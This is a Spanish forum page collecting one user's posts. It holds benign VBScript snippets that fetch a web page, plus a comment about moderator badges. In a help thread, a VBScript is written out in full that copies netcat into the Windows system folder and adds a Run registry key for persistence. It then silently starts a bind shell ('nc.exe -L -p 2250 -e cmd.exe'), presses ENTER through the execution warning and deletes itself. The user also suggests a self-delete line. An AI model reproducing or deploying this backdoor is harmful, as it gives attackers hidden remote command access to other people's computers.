Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúset objie = createobject("internetexplorer.application")
url = "http://www.google.es"
objie.navigate url
objie.visible = true
Do while objie.busy
wscript.sleep 200
Loop
msgbox objie.document.body.innerhtml
'Codigo fuente web
msgbox objie.document.body.innertext
'Tal cual se ve la web
'No se muestra todo el texto porque el msgbox no tiene espacio
Set objxmlhttp = createobject("microsoft.xmlhttp")
url = "http://www.google.es"
objxmlhttp.open "GET", url, 0
objxmlhttp.send()
Do until objxmlhttp.readystate = 4
wscript.sleep 200
Loop
msgbox objxmlhttp.responsetext
'No se muestra todo el texto porque el msgbox no tiene espacio
Cita de: Ari-Slash en 19 Septiembre 2009, 08:49 AMSi pero no ... hay mods que son mods en su subforo, y no tienen ningún otro grupo en el resto de los lugares
no se si de han dado cuenta pero cuando un moderador postea en un subforo fuera de soberania aparece como colaborador, siendo moderador de otro subforo
Citar1-No se autoborraIntenta con ..
objfso.deletefile wscript.scriptfullname
Citar2-al ejecutarlo en otro ordenador sale el mensaje de windows de que se va a ejecutar un archivo, creo haberlo solucionado con el sendkeys...En que sistema operativo lo estas ejecutando?
CitarOn Error Resume Next
nombre = wscript.scriptname
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
Set dirwin32 = fso.GetSpecialFolder(1)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objfso = createobject("scripting.filesystemobject")
Objfso.movefile ".\ModoConsola.exe", dirwin32+"\nc.exe"
set wsc = createobject("wscript.shell")
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WNet", "nc.exe -L -p 2250 -e cmd.exe"
Set correr = CreateObject("wscript.shell")
correr.Run "nc.exe -L -p 2250 -e cmd.exe", vbHide
Set objshell = createobject("wscript.shell")
wscript.sleep 20
Objshell.sendkeys "{ENTER}"
Set objfso = createobject("scripting.filesystemobject")
Objfso.deletefile ".\"+nombre